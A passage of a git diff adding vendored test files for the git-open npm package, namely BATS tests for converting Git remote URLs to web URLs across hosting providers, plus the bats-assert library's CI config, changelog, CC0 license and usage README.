set-url origin "ssh://github.com:22/user/repo.git" + run ../git-open + assert_output "https://github.com/user/repo" +} + +@test "basic: http url scheme is preserved" { + git remote set-url origin "http://github.com/user/repo.git" + run ../git-open + # assert_output "http://github.com/user/repo" +} + +## +## SSH config +## + +@test "sshconfig: basic" { + create_ssh_sandbox + # Basic + git remote set-url origin "basic:user/repo.git" + run ../git-open + assert_output --partial "https://basic.com/user/repo" + # With git user + git remote set-url origin "git@nouser:user/repo.git" + run ../git-open + assert_output "https://no.user/user/repo" +} + +@test "sshconfig: no action on no match" { + create_ssh_sandbox + git remote set-url origin "git@nomatch:user/repo.git" + run ../git-open + assert_output "https://nomatch/user/repo" + # No match due to improper casing +} + +@test "sshconfig: check case sensitivity" { + create_ssh_sandbox + # Host and HostName keywords should be case insensitive + # But output URL will be case sensitive + git remote set-url origin "malformed:user/repo.git" + run ../git-open + assert_output "https://MaL.FoRmEd/user/repo" + # SSH aliases (hosts) are case sensitive, this should not match + git remote set-url origin "git@MALFORMED:user/repo.git" + run ../git-open + refute_output "https://MaL.FoRmEd/user/repo" +} + +@test "sshconfig: multitarget host" { + create_ssh_sandbox + for i in $(seq 1 3); do + git remote set-url origin "multi$i:user/repo.git" + run ../git-open + assert_output "https://multi.com/user/repo" + done +} + +@test "sshconfig: host substitution in hostname" { + create_ssh_sandbox + for i in $(seq 1 3); do + git remote set-url origin "sub$i:user/repo.git" + run ../git-open + assert_output "https://sub$i.multi.com/user/repo" + done +} + +@test "sshconfig: host wildcard * matches zero or more chars" { + create_ssh_sandbox + # Normal * + for str in "" "-prod" "-dev"; do + git remote set-url origin "zero$str:user/repo.git" + run ../git-open + assert_output "https://zero.com/user/repo" + done + # * with substitution + for str in "" "-prod" "-dev"; do + git remote set-url origin "subzero$str:user/repo.git" + run ../git-open + assert_output "https://subzero$str.zero/user/repo" + done +} + +@test "sshconfig: host wildcard ? matches exactly one char" { + create_ssh_sandbox + # Normal ? + for i in $(seq 1 3); do + git remote set-url origin "one$i:user/repo.git" + run ../git-open + assert_output "https://one.com/user/repo" + done + # Refute invalid match on ? + for str in "" "-test"; do + git remote set-url origin "one:user/repo.git" + run ../git-open + refute_output "https://one$str.com/user/repo" + done + + # ? with substitution + for i in $(seq 1 3); do + git remote set-url origin "subone$i:user/repo.git" + run ../git-open + assert_output "https://subone$i.one/user/repo" + done + # Refute invalid match on ? with substitution + for str in "" "-test"; do + git remote set-url origin "subone$str:user/repo.git" + run ../git-open + refute_output "https://subone$str.one/user/repo" + done + # Refute invalid match on ? with substitution +} + +@test "sshconfig: overriding host rules" { + create_ssh_sandbox + git remote set-url origin "zero-override:user/repo.git" + run ../git-open + assert_output "https://override.zero.com/user/repo" +} + +## +## Bitbucket +## + +@test "bitbucket: basic" { + git remote set-url origin "git@bitbucket.org:paulirish/crbug-extension.git" + run ../git-open + assert_output --partial "https://bitbucket.org/paulirish/crbug-extension" +} + +@test "bitbucket: tag" { + git remote set-url origin "git@bitbucket.org:paulirish/crbug-extension.git" + git tag mytag + echo a > a + git add a + git commit -m a + git checkout mytag + run ../git-open + assert_output "https://bitbucket.org/paulirish/crbug-extension/src/mytag" +} + +@test "bitbucket: non-origin remote" { + # https://github.com/paulirish/git-open/pull/4 + git remote add bbclone "git@bitbucket.org:rwhitbeck/git-open.git" + run ../git-open "bbclone" + assert_output "https://bitbucket.org/rwhitbeck/git-open" +} + +@test "bitbucket: open source view" { + # https://github.com/paulirish/git-open/pull/26 + git remote set-url origin "https://bitbucket.org/kisom/consbri.git" + git checkout -B "devel" + run ../git-open + refute_output --partial "//kisom" + assert_output "https://bitbucket.org/kisom/consbri/src/devel" +} + +@test "bitbucket: open source view with a slash/branch" { + # https://github.com/paulirish/git-open/pull/26 + # see https://github.com/paulirish/git-open/issues/80 for feat/branchname issues + git remote set-url origin "https://bitbucket.org/guyzmo/git-repo.git" + git checkout -B "bugfix/conftest_fix" + run ../git-open + assert_output "https://bitbucket.org/guyzmo/git-repo/src/bugfix/conftest_fix" +} + +@test "bitbucket: ssh:// clone urls" { + # https://github.com/paulirish/git-open/pull/36 + git remote set-url origin "ssh://git@bitbucket.org/lbesson/bin.git" + run ../git-open + assert_output "https://bitbucket.org/lbesson/bin" +} + +@test "bitbucket: no username@ in final url" { + # https://github.com/paulirish/git-open/pull/69 + git remote set-url origin "https://trend_rand@bitbucket.org/trend_rand/test-repo.git" + run ../git-open + refute_output --partial "@" +} + +@test "bitbucket: Bitbucket Server" { + # https://github.com/paulirish/git-open/issues/77#issuecomment-309044010 + git remote set-url origin "https://user@mybb.domain.com/scm/ppp/rrr.git" + run ../git-open + + # any of the following are acceptable + assert_output "https://mybb.domain.com/projects/ppp/repos/rrr" || + assert_output "https://mybb.domain.com/projects/ppp/repos/rrr/browse/?at=master" || + assert_output "https://mybb.domain.com/projects/ppp/repos/rrr/browse/?at=refs%2Fheads%2Fmaster" +} + +@test "bitbucket: Bitbucket Server branch" { + # https://github.com/paulirish/git-open/issues/80 + git remote set-url origin "https://user@mybb.domain.com/scm/ppp/rrr.git" + git checkout -B "develop" + run ../git-open + + # The following query args work with BB Server: + # at=refs%2Fheads%2Fdevelop, at=develop, at=refs/heads/develop + # However /src/develop does not (unlike bitbucket.org) + assert_output "https://mybb.domain.com/projects/ppp/repos/rrr/browse?at=develop" || + assert_output "https://mybb.domain.com/projects/ppp/repos/rrr/browse?at=refs%2Fheads%2Fdevelop" || + assert_output "https://mybb.domain.com/projects/ppp/repos/rrr/browse?at=refs/heads/develop" + + refute_output --partial "/src/develop" +} + + +@test "bitbucket: Bitbucket Server private user repos" { + # https://github.com/paulirish/git-open/pull/83#issuecomment-309968538 + git remote set-url origin "https://mybb.domain.com/scm/~first.last/rrr.git" + git checkout -B "develop" + run ../git-open + assert_output "https://mybb.domain.com/projects/~first.last/repos/rrr/browse?at=develop" || + assert_output "https://mybb.domain.com/projects/~first.last/repos/rrr/browse?at=refs%2Fheads%2Fdevelop" || + assert_output "https://mybb.domain.com/projects/~first.last/repos/rrr/browse?at=refs/heads/develop" + +} + + +@test "bitbucket: Bitbucket Server with different root context" { + # https://github.com/paulirish/git-open/pull/15 + git remote set-url origin "https://user@bitbucket.example.com/git/scm/ppp/test-repo.git" + run ../git-open + assert_output "https://bitbucket.example.com/git/projects/ppp/repos/test-repo" || + assert_output "https://bitbucket.example.com/git/projects/ppp/repos/test-repo/?at=master" || + assert_output "https://bitbucket.example.com/git/projects/ppp/repos/test-repo/?at=refs%2Fheads%2Fmaster" +} + + +@test "bitbucket: Bitbucket Server with different root context with multiple parts" { + # https://github.com/paulirish/git-open/pull/15 + git remote set-url origin "https://user@bitbucket.example.com/really/long/root/context/scm/ppp/test-repo.git" + run ../git-open + assert_output "https://bitbucket.example.com/really/long/root/context/projects/ppp/repos/test-repo" || + assert_output "https://bitbucket.example.com/really/long/root/context/projects/ppp/repos/test-repo/?at=master" || + assert_output "https://bitbucket.example.com/really/long/root/context/projects/ppp/repos/test-repo/?at=refs%2Fheads%2Fmaster" +} + + +@test "bitbucket: Bitbucket Server private user repos with different root context" { + # https://github.com/paulirish/git-open/pull/83#issuecomment-309968538 + git remote set-url origin "https://mybb.domain.com/root/context/scm/~first.last/rrr.git" + git checkout -B "develop" + run ../git-open + assert_output "https://mybb.domain.com/root/context/projects/~first.last/repos/rrr/browse?at=develop" || + assert_output "https://mybb.domain.com/root/context/projects/~first.last/repos/rrr/browse?at=refs%2Fheads%2Fdevelop" || + assert_output "https://mybb.domain.com/root/context/projects/~first.last/repos/rrr/browse?at=refs/heads/develop" +} + + +## +## GitLab +## + +@test "gitlab: default ssh origin style" { + # https://github.com/paulirish/git-open/pull/55 + git remote set-url origin "git@gitlab.example.com:user/repo" + run ../git-open + assert_output "https://gitlab.example.com/user/repo" +} + +@test "gitlab: ssh://git@ origin" { + # https://github.com/paulirish/git-open/pull/51 + git remote set-url origin "ssh://git@gitlab.domain.com/user/repo" + run ../git-open + assert_output "https://gitlab.domain.com/user/repo" + refute_output --partial "//user" +} + +@test "gitlab: separate domains" { + # https://github.com/paulirish/git-open/pull/56 + git remote set-url origin "git@git.example.com:namespace/project.git" + git config --local --add "open.https://git.example.com.domain" "gitlab.example.com" + run ../git-open + assert_output "https://gitlab.example.com/namespace/project" +} + +@test "gitlab: special domain and path" { + git remote set-url origin "ssh://git@git.example.com:7000/XXX/YYY.git" + git config --local --add "open.https://git.example.com.domain" "repo.intranet/subpath" + git config --local --add "open.https://git.example.com.protocol" "http" + + run ../git-open + assert_output "http://repo.intranet/subpath/XXX/YYY" + refute_output --partial "https://" +} + +@test "gitlab: different port" { + # https://github.com/paulirish/git-open/pull/76 + git remote set-url origin "ssh://git@git.example.com:7000/XXX/YYY.git" + run ../git-open + assert_output "https://git.example.com/XXX/YYY" + refute_output --partial ":7000" + + git remote set-url origin "https://git.example.com:7000/XXX/YYY.git" + run ../git-open + assert_output "https://git.example.com:7000/XXX/YYY" +} + +@test "gitlab: issue" { + git remote set-url origin "git@gitlab.example.com:user/repo" + git checkout -B "10-bump-up-to-v2.0" + run ../git-open "--issue" + assert_output "https://gitlab.example.com/user/repo/issues/10" +} + +## +## Visual Studio Team Services +## + +@test "vsts: https url" { + git remote set-url origin "https://gitopen.visualstudio.com/Project/_git/Repository" + run ../git-open + assert_output --partial "https://gitopen.visualstudio.com/Project/_git/Repository" +} + +@test "vsts: ssh url" { + git remote add vsts_ssh "ssh://gitopen@gitopen.visualstudio.com:22/Project/_git/Repository" + run ../git-open "vsts_ssh" + assert_output "https://gitopen.visualstudio.com/Project/_git/Repository" +} + +@test "vsts: on-premises tfs http url" { + git remote set-url origin "http://tfs.example.com:8080/Project/_git/Repository" + run ../git-open + assert_output --partial "http://tfs.example.com:8080/Project/_git/Repository" +} + +@test "vsts: branch" { + git remote set-url origin "ssh://gitopen@gitopen.visualstudio.com:22/_git/Repository" + git checkout -B "mybranch" + run ../git-open + assert_output "https://gitopen.visualstudio.com/_git/Repository?version=GBmybranch" +} + +@test "vsts: on-premises tfs branch" { + git remote set-url origin "http://tfs.example.com:8080/Project/Folder/_git/Repository" + git checkout -B "mybranch" + run ../git-open + assert_output "http://tfs.example.com:8080/Project/Folder/_git/Repository?version=GBmybranch" +} + +@test "vsts: issue" { + git remote set-url origin "http://tfs.example.com:8080/Project/Folder/_git/Repository" + git checkout -B "bugfix-36" + run ../git-open "--issue" + assert_output "http://tfs.example.com:8080/Project/Folder/_workitems?id=36" +} + +@test "vsts: default project repository - issue" { + git remote set-url origin "https://gitopen.visualstudio.com/_git/Project" + git checkout -B "bugfix-36" + run ../git-open "--issue" + assert_output "https://gitopen.visualstudio.com/Project/_workitems?id=36" +} + +## +## AWS Code Commit +## + +@test "aws: https url" { + git remote set-url origin "https://git-codecommit.us-east-1.amazonaws.com/v1/repos/repo" + git checkout -B "master" + run ../git-open + assert_output "https://us-east-1.console.aws.amazon.com/codecommit/home?region=us-east-1#/repository/repo/browse/" +} + +@test "aws: ssh url" { + git remote set-url origin "ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/repo" + git checkout -B "master" + run ../git-open + assert_output "https://us-east-1.console.aws.amazon.com/codecommit/home?region=us-east-1#/repository/repo/browse/" +} + +@test "aws: branch " { + git remote set-url origin "https://git-codecommit.us-east-1.amazonaws.com/v1/repos/repo" + git checkout -B "mybranch" + run ../git-open + assert_output "https://us-east-1.console.aws.amazon.com/codecommit/home?region=us-east-1#/repository/repo/browse/mybranch/--/" +} + +@test "aws: issue" { + git remote set-url origin "https://git-codecommit.us-east-1.amazonaws.com/v1/repos/repo" + git checkout -B "issues/#12" + run ../git-open "--issue" + [ "$status" -eq 1 ] + assert_output "Issue feature does not supported on AWS Code Commit." +} + + +teardown() { + cd .. + rm -rf "$foldername" + rm -rf "$ssh_config" + refute [ -e "$ssh_config" ] + unset ssh_config +} + +# helper to create a test git sandbox that won't dirty the real repo +function create_git_sandbox() { + rm -rf "$foldername" + mkdir "$foldername" + cd "$foldername" + # safety check. Don't muck with the git repo if we're not inside the sandbox. + assert_equal $(basename $PWD) "$foldername" + + git init -q + assert [ -e "../$foldername/.git" ] + git config user.email "test@runner.com" && git config user.name "Test Runner" + + # newer git auto-creates the origin remote + if ! git remote add origin "github.com:paulirish/git-open.git"; then + git remote set-url origin "github.com:paulirish/git-open.git" + fi + + git checkout -B "master" + + echo "ok" > readme.txt + git add readme.txt + git commit -m "add file" -q +} + +# helper to create test SSH config file +function create_ssh_sandbox() { + export ssh_config=$(mktemp) + refute [ -z "$ssh_config" ] + + # Populate ssh config with test data + echo "$ssh_testdata" >$ssh_config + assert [ -e "$ssh_config" ] +} + +# Test SSH config data +ssh_testdata=" +# Autogenerated test sshconfig for paulirish/git-open BATS tests +# It is safe to delete this file, a new one will be generated each test + +Host basic + HostName basic.com + User git + +Host nomatch + User git + +Host nouser + HostName no.user + +host malformed + hOsTnAmE MaL.FoRmEd + User other + +# Multiple targets +Host multi1 multi2 multi3 + HostName multi.com + User git + +Host sub1 sub2 sub3 + HostName %h.multi.com + User git + + # Wildcard * matching (zero or more characters) +Host zero* + HostName zero.com + User git + +Host subzero* + HostName %h.zero + User git + +# Wildcard ? matching (exactly one character) +Host one? + HostName one.com + User git + +Host subone? + HostName %h.one + User git + +# Overrides rule zero* +Host zero-override + HostName override.zero.com + User git +" diff --git a/node_modules/git-open/test/test_helper/bats-assert/.travis.yml b/node_modules/git-open/test/test_helper/bats-assert/.travis.yml new file mode 100644 index 0000000..e56169a --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/.travis.yml @@ -0,0 +1,8 @@ +language: bash +before_install: + - ./script/install-bats.sh + - git clone --depth 1 https://github.com/ztombol/bats-support ../bats-support +before_script: + - export PATH="${HOME}/.local/bin:${PATH}" +script: + - bats test diff --git a/node_modules/git-open/test/test_helper/bats-assert/CHANGELOG.md b/node_modules/git-open/test/test_helper/bats-assert/CHANGELOG.md new file mode 100644 index 0000000..7e326f4 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/CHANGELOG.md @@ -0,0 +1,39 @@ +# Change Log + +All notable changes to this project will be documented in this file. +This project adheres to [Semantic Versioning](http://semver.org/). + + +## [0.3.0] - 2016-03-22 + +### Removed + +- Move `fail()` to `bats-support` + + +## [0.2.0] - 2016-03-11 + +### Added + +- `refute()` to complement `assert()` +- `npm` support + +### Fixed + +- Not consuming the `--` when stopping option parsing in + `assert_output`, `refute_output`, `assert_line` and `refute_line` + + +## 0.1.0 - 2016-02-16 + +### Added + +- Reporting arbitrary failures with `fail()` +- Generic assertions with `assert()` and `assert_equal()` +- Testing exit status with `assert_success()` and `assert_failure()` +- Testing output with `assert_output()` and `refute_output()` +- Testing individual lines with `assert_line()` and `refute_line()` + + +[0.3.0]: https://github.com/ztombol/bats-assert/compare/v0.2.0...v0.3.0 +[0.2.0]: https://github.com/ztombol/bats-assert/compare/v0.1.0...v0.2.0 diff --git a/node_modules/git-open/test/test_helper/bats-assert/LICENSE b/node_modules/git-open/test/test_helper/bats-assert/LICENSE new file mode 100644 index 0000000..670154e --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/LICENSE @@ -0,0 +1,116 @@ +CC0 1.0 Universal + +Statement of Purpose + +The laws of most jurisdictions throughout the world automatically confer +exclusive Copyright and Related Rights (defined below) upon the creator and +subsequent owner(s) (each and all, an "owner") of an original work of +authorship and/or a database (each, a "Work"). + +Certain owners wish to permanently relinquish those rights to a Work for the +purpose of contributing to a commons of creative, cultural and scientific +works ("Commons") that the public can reliably and without fear of later +claims of infringement build upon, modify, incorporate in other works, reuse +and redistribute as freely as possible in any form whatsoever and for any +purposes, including without limitation commercial purposes. These owners may +contribute to the Commons to promote the ideal of a free culture and the +further production of creative, cultural and scientific works, or to gain +reputation or greater distribution for their Work in part through the use and +efforts of others. + +For these and/or other purposes and motivations, and without any expectation +of additional consideration or compensation, the person associating CC0 with a +Work (the "Affirmer"), to the extent that he or she is an owner of Copyright +and Related Rights in the Work, voluntarily elects to apply CC0 to the Work +and publicly distribute the Work under its terms, with knowledge of his or her +Copyright and Related Rights in the Work and the meaning and intended legal +effect of CC0 on those rights. + +1. Copyright and Related Rights. A Work made available under CC0 may be +protected by copyright and related or neighboring rights ("Copyright and +Related Rights"). Copyright and Related Rights include, but are not limited +to, the following: + + i. the right to reproduce, adapt, distribute, perform, display, communicate, + and translate a Work; + + ii. moral rights retained by the original author(s) and/or performer(s); + + iii. publicity and privacy rights pertaining to a person's image or likeness + depicted in a Work; + + iv. rights protecting against unfair competition in regards to a Work, + subject to the limitations in paragraph 4(a), below; + + v. rights protecting the extraction, dissemination, use and reuse of data in + a Work; + + vi. database rights (such as those arising under Directive 96/9/EC of the + European Parliament and of the Council of 11 March 1996 on the legal + protection of databases, and under any national implementation thereof, + including any amended or successor version of such directive); and + + vii. other similar, equivalent or corresponding rights throughout the world + based on applicable law or treaty, and any national implementations thereof. + +2. Waiver. To the greatest extent permitted by, but not in contravention of, +applicable law, Affirmer hereby overtly, fully, permanently, irrevocably and +unconditionally waives, abandons, and surrenders all of Affirmer's Copyright +and Related Rights and associated claims and causes of action, whether now +known or unknown (including existing as well as future claims and causes of +action), in the Work (i) in all territories worldwide, (ii) for the maximum +duration provided by applicable law or treaty (including future time +extensions), (iii) in any current or future medium and for any number of +copies, and (iv) for any purpose whatsoever, including without limitation +commercial, advertising or promotional purposes (the "Waiver"). Affirmer makes +the Waiver for the benefit of each member of the public at large and to the +detriment of Affirmer's heirs and successors, fully intending that such Waiver +shall not be subject to revocation, rescission, cancellation, termination, or +any other legal or equitable action to disrupt the quiet enjoyment of the Work +by the public as contemplated by Affirmer's express Statement of Purpose. + +3. Public License Fallback. Should any part of the Waiver for any reason be +judged legally invalid or ineffective under applicable law, then the Waiver +shall be preserved to the maximum extent permitted taking into account +Affirmer's express Statement of Purpose. In addition, to the extent the Waiver +is so judged Affirmer hereby grants to each affected person a royalty-free, +non transferable, non sublicensable, non exclusive, irrevocable and +unconditional license to exercise Affirmer's Copyright and Related Rights in +the Work (i) in all territories worldwide, (ii) for the maximum duration +provided by applicable law or treaty (including future time extensions), (iii) +in any current or future medium and for any number of copies, and (iv) for any +purpose whatsoever, including without limitation commercial, advertising or +promotional purposes (the "License"). The License shall be deemed effective as +of the date CC0 was applied by Affirmer to the Work. Should any part of the +License for any reason be judged legally invalid or ineffective under +applicable law, such partial invalidity or ineffectiveness shall not +invalidate the remainder of the License, and in such case Affirmer hereby +affirms that he or she will not (i) exercise any of his or her remaining +Copyright and Related Rights in the Work or (ii) assert any associated claims +and causes of action with respect to the Work, in either case contrary to +Affirmer's express Statement of Purpose. + +4. Limitations and Disclaimers. + + a. No trademark or patent rights held by Affirmer are waived, abandoned, + surrendered, licensed or otherwise affected by this document. + + b. Affirmer offers the Work as-is and makes no representations or warranties + of any kind concerning the Work, express, implied, statutory or otherwise, + including without limitation warranties of title, merchantability, fitness + for a particular purpose, non infringement, or the absence of latent or + other defects, accuracy, or the present or absence of errors, whether or not + discoverable, all to the greatest extent permissible under applicable law. + + c. Affirmer disclaims responsibility for clearing rights of other persons + that may apply to the Work or any use thereof, including without limitation + any person's Copyright and Related Rights in the Work. Further, Affirmer + disclaims responsibility for obtaining any necessary consents, permissions + or other rights required for any use of the Work. + + d. Affirmer understands and acknowledges that Creative Commons is not a + party to this document and has no duty or obligation with respect to this + CC0 or use of the Work. + +For more information, please see + diff --git a/node_modules/git-open/test/test_helper/bats-assert/README.md b/node_modules/git-open/test/test_helper/bats-assert/README.md new file mode 100644 index 0000000..2e60e92 --- /dev/null +++ b/node_modules/git-open/test/test_helper/bats-assert/README.md @@ -0,0 +1,656 @@ +# bats-assert + +[![GitHub license](https://img.shields.io/badge/license-CC0-blue.svg)](https://raw.githubusercontent.com/ztombol/bats-assert/master/LICENSE) +[![GitHub release](https://img.shields.io/github/release/ztombol/bats-assert.svg)](https://github.com/ztombol/bats-assert/releases/latest) +[![Build Status](https://travis-ci.org/ztombol/bats-assert.svg?branch=master)](https://travis-ci.org/ztombol/bats-assert) + +`bats-assert` is a helper library providing common assertions for +[Bats][bats]. + +Assertions are functions that perform a test and output relevant +information on failure to help debugging. They return 1 on failure and 0 +otherwise. Output, [formatted][bats-support-output] for readability, is +sent to the standard error to make assertions usable outside of `@test` +blocks too. + +Assertions testing exit code and output operate on the results of the +most recent invocation of `run`. + +Dependencies: +- [`bats-support`][bats-support] (formerly `bats-core`) - output + formatting + +See the [shared documentation][bats-docs] to learn how to install and +load this library. + + +## Usage + +### `assert` + +Fail if the given expression evaluates to false. + +***Note:*** *The expression must be a simple command. [Compound +commands][bash-comp-cmd], such as `[[`, can be used only when executed +with `bash -c`.* + +```bash +@test 'assert()' { + touch '/var/log/test.log' + assert [ -e '/var/log/test.log' ] +} +``` + +On failure, the failed expression is displayed. + +``` +-- assertion failed -- +expression : [ -e /var/log/test.log ] +-- +``` + + +### `refute` + +Fail if the given expression evaluates to true. + +***Note:*** *The expression must be a simple command. [Compound +commands][bash-comp-cmd], such as `[[`, can be used only when executed +with `bash -c`.* + +```bash +@test 'refute()' { + rm -f '/var/log/test.log' + refute [ -e '/var/log/test.log' ] +} +``` + +On failure, the successful expression is displayed. + +``` +-- assertion succeeded, but it was expected to fail -- +expression : [ -e /var/log/test.log ] +-- +``` + + +### `assert_equal` + +Fail if the two parameters, actual and expected value respectively, do +not equal. + +```bash +@test 'assert_equal()' { + assert_equal 'have' 'want' +} +``` + +On failure, the expected and actual values are displayed. + +``` +-- values do not equal -- +expected : want +actual : have +-- +``` + +If either value is longer than one line both are displayed in +*multi-line* format. + + +### `assert_success` + +Fail if `$status` is not 0. + +```bash +@test 'assert_success() status only' { + run bash -c "echo 'Error!'; exit 1" + assert_success +} +``` + +On failure, `$status` and `$output` are displayed. + +``` +-- command failed -- +status : 1 +output : Error! +-- +``` + +If `$output` is longer than one line, it is displayed in *multi-line* +format. + + +### `assert_failure` + +Fail if `$status` is 0. + +```bash +@test 'assert_failure() status only' { + run echo 'Success!' + assert_failure +} +``` + +On failure, `$output` is displayed. + +``` +-- command succeeded, but it was expected to fail -- +output : Success! +-- +``` + +If `$output` is longer than one line, it is displayed in *multi-line* +format. + +#### Expected status + +When one parameter is specified, fail if `$status` does not equal the +expected status specified by the parameter. + +```bash +@test 'assert_failure() with expected status' { + run bash -c "echo 'Error!'; exit 1" + assert_failure 2 +} +``` + +On failure, the expected and actual status, and `$output` are displayed. + +``` +-- command failed as expected, but status differs -- +expected : 2 +actual : 1 +output : Error! +-- +``` + +If `$output` is longer than one line, it is displayed in *multi-line* +format. + + +### `assert_output` + +This function helps to verify that a command or function produces the +correct output by checking that the specified expected output matches +the actual output. Matching can be literal (default), partial or regular +expression. This function is the logical complement of `refute_output`. + +#### Literal matching + +By default, literal matching is performed. The assertion fails if +`$output` does not equal the expected output. + +```bash +@test 'assert_output()' { + run echo 'have' + assert_output 'want' +} +``` + +The expected output can be specified with a heredoc or standard input as well. + +```bash +@test 'assert_output() with pipe' { + run echo 'have' + echo 'want' | assert_output +} +``` + +On failure, the expected and actual output are displayed. + +``` +-- output differs -- +expected : want +actual : have +-- +``` + +If either value is longer than one line both are displayed in +*multi-line* format. + +#### Partial matching + +Partial matching can be enabled with the `--partial` option (`-p` for +short). When used, the assertion fails if the expected *substring* is +not found in `$output`. + +```bash +@test 'assert_output() partial matching' { + run echo 'ERROR: no such file or directory' + assert_output --partial 'SUCCESS' +} +``` + +On failure, the substring and the output are displayed. + +``` +-- output does not contain substring -- +substring : SUCCESS +output : ERROR: no such file or directory +-- +``` + +This option and regular expression matching (`--regexp` or `-e`) are +mutually exclusive. An error is displayed when used simultaneously. + +#### Regular expression matching + +Regular expression matching can be enabled with the `--regexp` option +(`-e` for short). When used, the assertion fails if the *extended +regular expression* does not match `$output`. + +*Note: The anchors `^` and `$` bind to the beginning and the end of the +entire output (not individual lines), respectively.* + +```bash +@test 'assert_output() regular expression matching' { + run echo 'Foobar 0.1.0' + assert_output --regexp '^Foobar v[0-9]+\.[0-9]+\.[0-9]$' +} +``` + +On failure, the regular expression and the output are displayed. + +``` +-- regular expression does not match output -- +regexp : ^Foobar v[0-9]+\.[0-9]+\.[0-9]$ +output : Foobar 0.1.0 +-- +``` + +An error is displayed if the specified extended regular expression is +invalid. + +This option and partial matching (`--partial` or `-p`) are mutually +exclusive. An error is displayed when used simultaneously. + + +### `refute_output` + +This function helps to verify that a command or function produces the +correct output by checking that the specified unexpected output does not +match the actual output. Matching can be literal (default), partial or +regular expression. This function is the logical complement of +`assert_output`. + +#### Literal matching + +By default, literal matching is performed. The assertion fails if +`$output` equals the unexpected output. + +```bash +@test 'refute_output()' { + run echo 'want' + refute_output 'want' +} +``` + +-The unexpected output can be specified with a heredoc or standard input as well. + +```bash +@test 'refute_output() with pipe' { + run echo 'want' + echo 'want' | refute_output +} +``` + +On failure, the output is displayed. + +``` +-- output equals, but it was expected to differ -- +output : want +-- +``` + +If output is longer than one line it is displayed in *multi-line* +format. + +#### Partial matching + +Partial matching can be enabled with the `--partial` option (`-p` for +short). When used, the assertion fails if the unexpected *substring* is +found in `$output`. + +```bash +@test 'refute_output() partial matching' { + run echo 'ERROR: no such file or directory' + refute_output --partial 'ERROR' +} +``` + +On failure, the substring and the output are displayed. + +``` +-- output should not contain substring -- +substring : ERROR +output : ERROR: no such file or directory +-- +``` + +This option and regular expression matching (`--regexp` or `-e`) are +mutually exclusive. An error is displayed when used simultaneously. + +#### Regular expression matching + +Regular expression matching can be enabled with the `--regexp` option +(`-e` for short). When used, the assertion fails if the *extended +regular expression* matches `$output`. + +*Note: The anchors `^` and `$` bind to the beginning and the end of the +entire output (not individual lines), respectively.* + +```bash +@test 'refute_output() regular expression matching' { + run echo 'Foobar v0.1.0' + refute_output --regexp '^Foobar v[0-9]+\.[0-9]+\.[0-9]$' +} +``` + +On failure, the regular expression and the output are displayed. + +``` +-- regular expression should not match output -- +regexp : ^Foobar v[0-9]+\.[0-9]+\.[0-9]$ +output : Foobar v0.1.0 +-- +``` + +An error is displayed if the specified extended regular expression is +invalid. + +This option and partial matching (`--partial` or `-p`) are mutually +exclusive. An error is displayed when used simultaneously. + + +### `assert_line` + +Similarly to `assert_output`, this function helps to verify that a +command or function produces the correct output. It checks that the +expected line appears in the output (default) or in a specific line of +it. Matching can be literal (default), partial or regular expression. +This function is the logical complement of `refute_line`. + +***Warning:*** *Due to a [bug in Bats][bats-93], empty lines are +discarded from `${lines[@]}`, causing line indices to change and +preventing testing for empty lines.* + +[bats-93]: https://github.com/sstephenson/bats/pull/93 + +#### Looking for a line in the output + +By default, the entire output is searched for the expected line. The +assertion fails if the expected line is not found in `${lines[@]}`. + +```bash +@test 'assert_line() looking for line' { + run echo $'have-0\nhave-1\nhave-2' + assert_line 'want' +} +``` + +On failure, the expected line and the output are displayed. + +***Warning:*** *The output displayed does not contain empty lines. See +the Warning above for more.* + +``` +-- output does not contain line -- +line : want +output (3 lines): + have-0 + have-1 + have-2 +-- +``` + +If output is not longer than one line, it is displayed in *two-column* +format. + +#### Matching a specific line + +When the `--index ` option is used (`-n ` for short) , the +expected line is matched only against the line identified by the given +index. The assertion fails if the expected line does not equal +`${lines[]}`. + +```bash +@test 'assert_line() specific line' { + run echo $'have-0\nhave-1\nhave-2' + assert_line --index 1 'want-1' +} +``` + +On failure, the index and the compared lines are displayed. + +``` +-- line differs -- +index : 1 +expected : want-1 +actual : have-1 +-- +``` + +#### Partial matching + +Partial matching can be enabled with the `--partial` option (`-p` for +short). When used, a match fails if the expected *substring* is not +found in the matched line. + +```bash +@test 'assert_line() partial matching' { + run echo $'have 1\nhave 2\nhave 3' + assert_line --partial 'want' +} +``` + +On failure, the same details are displayed as for literal matching, +except that the substring replaces the expected line. + +``` +-- no output line contains substring -- +substring : want +output (3 lines): + have 1 + have 2 + have 3 +-- +``` + +This option and regular expression matching (`--regexp` or `-e`) are +mutually exclusive. An error is displayed when used simultaneously. + +#### Regular expression matching + +Regular expression matching can be enabled with the `--regexp` option +(`-e` for short). When used, a match fails if the *extended regular +expression* does not match the line being tested. + +*Note: As expected, the anchors `^` and `$` bind to the beginning and +the end of the matched line, respectively.* + +```bash +@test 'assert_line() regular expression matching' { + run echo $'have-0\nhave-1\nhave-2' + assert_line --index 1 --regexp '^want-[0-9]$' +} +``` + +On failure, the same details are displayed as for literal matching, +except that the regular expression replaces the expected line. + +``` +-- regular expression does not match line -- +index : 1 +regexp : ^want-[0-9]$ +line : have-1 +-- +``` + +An error is displayed if the specified extended regular expression is +invalid. + +This option and partial matching (`--partial` or `-p`) are mutually +exclusive. An error is displayed when used simultaneously. + + +### `refute_line` + +Similarly to `refute_output`, this function helps to verify that a +command or function produces the correct output. It checks that the +unexpected line does not appear in the output (default) or in a specific +line of it. Matching can be literal (default), partial or regular +expression. This function is the logical complement of `assert_line`. + +***Warning:*** *Due to a [bug in Bats][bats-93], empty lines are +discarded from `${lines[@]}`, causing line indices to change and +preventing testing for empty lines.* + +[bats-93]: https://github.com/sstephenson/bats/pull/93 + +#### Looking for a line in the output + +By default, the entire output is searched for the unexpected line. The +assertion fails if the unexpected line is found in `${lines[@]}`. + +```bash +@test 'refute_line() looking for line' { + run echo $'have-0\nwant\nhave-2' + refute_line 'want' +} +``` + +On failure, the unexpected line, the index of its first match and the +output with the matching line highlighted are displayed. + +***Warning:*** *The output displayed does not contain empty lines. See +the Warning above for more.* + +``` +-- line should not be in output -- +line : want +index : 1 +output (3 lines): + have-0 +> want + have-2 +-- +``` + +If output is not longer than one line, it is displayed in *two-column* +format. + +#### Matching a specific line + +When the `--index ` option is used (`-n ` for short) , the +unexpected line is matched only against the line identified by the given +index. The assertion fails if the unexpected line equals +`${lines[]}`. + 